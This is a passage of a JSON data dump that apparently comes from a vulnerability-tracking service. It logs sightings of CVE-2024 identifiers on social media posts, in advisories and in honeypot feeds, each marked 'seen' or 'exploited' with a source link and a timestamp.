"2025-02-12T15:16:23.407033Z"}, {"uuid": "66e2b651-2ce2-4d15-8127-e070201f38b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12379", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhyhqfusmi2p", "content": "", "creation_timestamp": "2025-02-12T15:16:26.149440Z"}, {"uuid": "bd4f6c83-9106-40f7-9351-efffab077d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12629", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhyl3r5n362s", "content": "", "creation_timestamp": "2025-02-12T16:16:28.131888Z"}, {"uuid": "e7da9d64-8778-4eec-bee0-bc6eb426568e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12673", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113992836082663405", "content": "", "creation_timestamp": "2025-02-12T20:37:20.926904Z"}, {"uuid": "1a8b9f4d-3377-4439-abf5-9052ded1b9a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3liy5jijxwdu2", "content": "", "creation_timestamp": "2025-02-25T05:38:50.407228Z"}, {"uuid": "34237848-bcfd-4fd0-ac96-f0e309ea759e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljt7pyy5wp2w", "content": "", "creation_timestamp": "2025-03-08T00:00:09.943324Z"}, {"uuid": "3db1bb54-7eb1-485c-920a-041e95be9984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lhz7yzmjnc2n", "content": "", "creation_timestamp": "2025-02-12T22:30:45.089464Z"}, {"uuid": "63e4c6fa-cda3-4372-a5c0-0ea01254a600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12673", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhzgfao4wj24", "content": "", "creation_timestamp": "2025-02-13T00:25:03.552476Z"}, {"uuid": "c2cab996-21b2-4111-9ca8-fd1624fabd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lhzlsuzw7u22", "content": "", "creation_timestamp": "2025-02-13T02:02:04.656797Z"}, {"uuid": "ffd9467d-a860-484e-9ee3-93c41d207f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-12)", "content": "", "creation_timestamp": "2025-02-12T00:00:00.000000Z"}, {"uuid": "6a678103-dae9-4351-b8ea-a25aae5f697d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12010", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lk3ey3nmfz2m", "content": "", "creation_timestamp": "2025-03-11T05:55:25.026161Z"}, {"uuid": "e5ecd5cc-bc13-4fd5-a3df-3bbd5fcf852e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12009", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lk3ey3rdoh2h", "content": "", "creation_timestamp": "2025-03-11T05:55:25.546478Z"}, {"uuid": "87458794-40f1-4e90-912a-c8ca3e4a21ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12336", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkfdkxcbgl2k", "content": "", "creation_timestamp": "2025-03-15T04:56:47.744092Z"}, {"uuid": "d1f7bac0-3556-4fc5-aa9f-40670add1fd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12799", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3ljytihhk3k2g", "content": "", "creation_timestamp": "2025-03-10T05:37:07.669875Z"}, {"uuid": "e9757fc0-bb0f-4429-87b7-fdbef99fe3e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-22)", "content": "", "creation_timestamp": "2025-02-22T00:00:00.000000Z"}, {"uuid": "894cc5e8-e159-4a9d-ac29-ff1a53c86739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114116272593188604", "content": "", "creation_timestamp": "2025-03-06T15:48:53.403563Z"}, {"uuid": "d3bd9010-4e91-42be-a1a1-b34ee901c7e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-12)", "content": "", "creation_timestamp": "2025-02-12T00:00:00.000000Z"}, {"uuid": "914f0853-ccd8-47f2-970b-bd268ea16e6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12797", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lhzzaiszfc23", "content": "", "creation_timestamp": "2025-02-13T06:02:19.655857Z"}, {"uuid": "ebf44f20-83ac-4dac-bb36-4696e1a30c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113995088985958672", "content": "", "creation_timestamp": "2025-02-13T06:10:17.358569Z"}, {"uuid": "a883719d-0b47-44a1-83f8-d7a58672236c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhzzyjusar2z", "content": "", "creation_timestamp": "2025-02-13T06:15:45.338587Z"}, {"uuid": "168e7b18-f9e2-4aeb-ab2c-109c5e82d85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3li2yoy2dad2s", "content": "", "creation_timestamp": "2025-02-13T15:25:10.892592Z"}, {"uuid": "dd85beb7-d89d-44fc-a4cc-82272ca60306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2yt4p5jk2x", "content": "", "creation_timestamp": "2025-02-13T15:27:29.989540Z"}, {"uuid": "77a9a002-8129-4300-9a76-ea477f0b449e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2ytzor4k2x", "content": "", "creation_timestamp": "2025-02-13T15:28:00.468746Z"}, {"uuid": "734e4bd3-3c79-4f31-ad74-fe72229cec25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2ypsjlts2x", "content": "", "creation_timestamp": "2025-02-13T15:25:39.306898Z"}, {"uuid": "952fb32c-68ef-4c18-8063-b5e91d4a2981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2yr4siss2x", "content": "", "creation_timestamp": "2025-02-13T15:26:24.939850Z"}, {"uuid": "df42ad92-252c-48df-8327-15c1b6314a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2ys2fv7s2x", "content": "", "creation_timestamp": "2025-02-13T15:26:53.845425Z"}, {"uuid": "edd7c28a-db40-4efe-8461-4ca7ef0116f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2ysfl7s22x", "content": "", "creation_timestamp": "2025-02-13T15:27:05.535553Z"}, {"uuid": "6fd252ed-4472-4f5f-9903-a89ec76426aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2yxfuij22x", "content": "", "creation_timestamp": "2025-02-13T15:29:55.672176Z"}, {"uuid": "401fae88-2152-405b-90dd-401b52fa1454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997296172337824", "content": "", "creation_timestamp": "2025-02-13T15:31:36.493850Z"}, {"uuid": "468dcbfd-b4cf-4d48-88fb-012532251df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997298617317751", "content": "", "creation_timestamp": "2025-02-13T15:32:13.831416Z"}, {"uuid": "1efb3f3c-ffd9-41dd-8fd6-03956b2c8827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997300008493846", "content": "", "creation_timestamp": "2025-02-13T15:32:35.374376Z"}, {"uuid": "cf1b7bdd-b0f8-4fe0-9af6-7d38f1c20661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997303178922204", "content": "", "creation_timestamp": "2025-02-13T15:33:23.333530Z"}, {"uuid": "d9d8d36b-00a6-4d38-8e41-1906e637c528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997306001643223", "content": "", "creation_timestamp": "2025-02-13T15:34:06.511699Z"}, {"uuid": "996a45f5-b78a-4765-aa30-35f5f64782b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997310706296426", "content": "", "creation_timestamp": "2025-02-13T15:35:18.274696Z"}, {"uuid": "d474aa70-d1a7-4c44-8f20-d30f6315606e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12011", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113997416189281935", "content": "", "creation_timestamp": "2025-02-13T16:02:07.780454Z"}, {"uuid": "92e8b4ee-14b6-45e2-8f94-52a3151efdf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12012", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113997425572119565", "content": "", "creation_timestamp": "2025-02-13T16:04:31.010809Z"}, {"uuid": "a39af1e8-f81b-4937-90ce-c4ae98b17e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12013", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113997425586155705", "content": "", "creation_timestamp": "2025-02-13T16:04:31.240554Z"}, {"uuid": "c88b0f0e-0126-4b3d-8484-d034bc1222d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/stephenfewer.bsky.social/post/3li32xf5dnc2r", "content": "", "creation_timestamp": "2025-02-13T16:05:43.697181Z"}, {"uuid": "4a6e9f7f-4501-495f-993d-8f3192e657e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/stephenfewer.bsky.social/post/3li32xg6l4k2r", "content": "", "creation_timestamp": "2025-02-13T16:05:45.120200Z"}, {"uuid": "2b41ba96-96ee-49d9-a2e2-036b5a60d216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/stephenfewer.bsky.social/post/3li32xg6l4l2r", "content": "", "creation_timestamp": "2025-02-13T16:05:46.538045Z"}, {"uuid": "d26e994d-d527-4a55-afaf-1e38bd86ca08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3li33h4fmkk2c", "content": "", "creation_timestamp": "2025-02-13T16:14:29.433403Z"}, {"uuid": "534f25ac-fe10-4bb7-9b64-0c8aca137fb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3li33h4fqhk2c", "content": "", "creation_timestamp": "2025-02-13T16:14:30.843074Z"}, {"uuid": "49be39e1-79de-4f73-b4d5-415515530251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3li33h4frgs2c", "content": "", "creation_timestamp": "2025-02-13T16:14:32.170556Z"}, {"uuid": "254170a9-90c3-48c7-8dbd-17a7c4252f39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113997983576466350", "content": "", "creation_timestamp": "2025-02-13T18:26:25.344987Z"}, {"uuid": "8e7d9587-373c-4e6f-9e57-5e5352cec1f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3li3i5vka7s26", "content": "", "creation_timestamp": "2025-02-13T20:01:58.784176Z"}, {"uuid": "b8422e5d-fb2e-40e2-81b4-e5b30012c79f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3li3sydrc6b2g", "content": "", "creation_timestamp": "2025-02-13T23:15:42.219427Z"}, {"uuid": "91b7413a-ddcd-49e5-ba3e-1eb60a1d3fb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3li3xgdh7gv2a", "content": "", "creation_timestamp": "2025-02-14T00:35:09.089611Z"}, {"uuid": "2b263184-a1e4-4a80-a9c6-fa27b60a2474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://threatintel.cc/2025/02/13/cve-postgresql-psql-sql-injection.html", "content": "", "creation_timestamp": "2025-02-13T17:26:11.000000Z"}, {"uuid": "c99b231f-d2c8-475e-bfd8-8005e8991484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ljz3plydbk2l", "content": "", "creation_timestamp": "2025-03-10T08:04:20.542593Z"}, {"uuid": "15939ad4-7522-4b32-af85-8ec50436ed8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3liylmi2xpwl2", "content": "", "creation_timestamp": "2025-02-25T09:51:28.326539Z"}, {"uuid": "00df30c7-1338-4204-a9bd-782607176726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12460", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljtoshv7la2n", "content": "", "creation_timestamp": "2025-03-08T04:29:56.085185Z"}, {"uuid": "fa2341b4-55ef-4fce-96a5-6c70763b6abb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12742", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-128/", "content": "", "creation_timestamp": "2025-03-11T04:00:00.000000Z"}, {"uuid": "5bdb1055-f12b-4f35-9393-862f7af4a84c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3ljz7dmeooc2w", "content": "", "creation_timestamp": "2025-03-10T09:09:09.698961Z"}, {"uuid": "c2d09129-d6b6-4c6d-a9c4-bec14cd9893d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-18)", "content": "", "creation_timestamp": "2025-03-18T00:00:00.000000Z"}, {"uuid": "e2632c58-1cac-4467-84f3-ca616e99fba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lk3mvoirxn25", "content": "", "creation_timestamp": "2025-03-11T08:17:14.577383Z"}, {"uuid": "33961202-19d0-466c-918b-a9f320fa2661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljncu6emy62s", "content": "", "creation_timestamp": "2025-03-05T15:40:09.419970Z"}, {"uuid": "ca1f2937-1565-403a-9717-3d0d6afbd144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-26)", "content": "", "creation_timestamp": "2025-03-26T00:00:00.000000Z"}, {"uuid": "7f35d87f-fac7-480b-8afc-d0e31d644ae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkscf6j4s62p", "content": "", "creation_timestamp": "2025-03-20T08:40:16.593457Z"}, {"uuid": "741ed445-1100-4ce2-9007-cdcf7a8b65bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljttc42iuk2i", "content": "", "creation_timestamp": "2025-03-08T05:50:17.244617Z"}, {"uuid": "36087662-ed3f-4864-9cde-4636cecfc363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljndxytswc2y", "content": "", "creation_timestamp": "2025-03-05T16:00:13.386323Z"}, {"uuid": "f08a36b1-e751-4b56-8736-5aacca816992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lksdoltrrq2j", "content": "", "creation_timestamp": "2025-03-20T09:03:27.160402Z"}, {"uuid": "ea1a829d-8f62-4d04-933f-3502ec48329c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3li5fc2o5dw2s", "content": "", "creation_timestamp": "2025-02-14T14:15:55.460918Z"}, {"uuid": "9f2cd0e0-8183-4042-a145-3ac22ad45bc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/114002775076473280", "content": "", "creation_timestamp": "2025-02-14T14:44:57.817455Z"}, {"uuid": "3ccc1d62-3910-4102-a678-a7ba6770e8d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/114002775076473280", "content": "", "creation_timestamp": "2025-02-14T14:44:57.876948Z"}, {"uuid": "0b2e334c-7f61-4cb6-bbb7-23d930cc8371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114002789888956164", "content": "", "creation_timestamp": "2025-02-14T14:48:45.208089Z"}, {"uuid": "1a93196e-79d1-4c08-8857-731f6553488a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3li5jp65hpa2v", "content": "", "creation_timestamp": "2025-02-14T15:34:50.679936Z"}, {"uuid": "a60ae479-4d01-4606-8630-1f5ce8aa0de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://threatintel.cc/2025/02/14/xerox-versalink-c-multifunction-printer.html", "content": "", "creation_timestamp": "2025-02-14T13:44:52.000000Z"}, {"uuid": "16384224-768a-4326-bdc2-1e54b8960cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://threatintel.cc/2025/02/14/xerox-versalink-c-multifunction-printer.html", "content": "", "creation_timestamp": "2025-02-14T13:44:52.000000Z"}, {"uuid": "99238862-c09f-4c5e-a39e-10cf675b8b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3li63y6cent2a", "content": "", "creation_timestamp": "2025-02-14T21:02:00.379838Z"}, {"uuid": "f070af06-02aa-43b3-afa1-249731634452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/ajsdecepida.bsky.social/post/3li6h7jb2zk27", "content": "", "creation_timestamp": "2025-02-15T00:22:57.780052Z"}, {"uuid": "79807e93-ed3a-4866-808f-5ca242b17ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/114007194725422674", "content": "", "creation_timestamp": "2025-02-15T09:28:56.335295Z"}, {"uuid": "b64ac53e-d1dd-409e-a67e-8d17a1786781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114007506812321016", "content": "", "creation_timestamp": "2025-02-15T10:48:18.832013Z"}, {"uuid": "e144aa42-67bc-4d9e-a505-6bd7fc61a34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3li7le566hk2m", "content": "", "creation_timestamp": "2025-02-15T11:09:48.328614Z"}, {"uuid": "972bc308-506a-4d83-83a8-2be0259105a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12137", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkpysb6jwf2e", "content": "", "creation_timestamp": "2025-03-19T10:43:19.112385Z"}, {"uuid": "37f5a5a8-404c-4e76-a920-00bd97e1cf8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", 